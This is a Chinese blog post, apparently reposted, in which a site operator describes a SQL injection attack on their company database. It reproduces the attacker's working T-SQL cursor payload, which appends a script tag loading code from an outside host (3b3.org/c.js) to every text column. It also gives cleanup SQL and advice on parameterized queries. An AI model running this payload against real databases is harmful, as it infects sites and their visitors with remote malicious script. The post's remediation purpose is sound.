SQL注入

来源:互联网 发布:mac 射手 字幕位置 编辑:程序博客网 时间:2024/06/15 23:30
公司网站昨天被人黑了,数据库中的VARCHAR,TEXT类型字段均被注了<script src=http://3b3.org/c.js></script>这段脚本,这个脚本应该是通过COOKIE的方式注入的,其基本原理应该是通过在下面这段脚本进行的,具体是如果进行的,没做深入研究。
 
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
--PRINT ('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
想看一下,他的具体执行的代码,可以把注释的PRINT行打开,把EXEC注释掉,费话不多说,先解决问题吧,如果您不幸中了,可以通过下面方式,解决!
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://3b3.org/c.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;
 
执行上面代码,即可以暂时解决问题,但这个是制标不制本的,要从根源上解决问题,您应该去检查自己的代码,苍蝇不叮无缝的鸡蛋,平时编写代码时,应该养成良好的编码习惯,做好SQL防注,尽量不要用拼接字符串的方式去执行SQL代码,使用SQL存储过程或者.NET中的SqlParameter都能对SQL注入有较好的防范,对网站COOKIE进行加密等,这方面的东西很多,在此不详细列举;
相关网页可参考: http://bbs.ad0.cn/viewthread.php?tid=3504
WEB应用供应商 http://www.xingzhu.net.cn
原创粉丝点击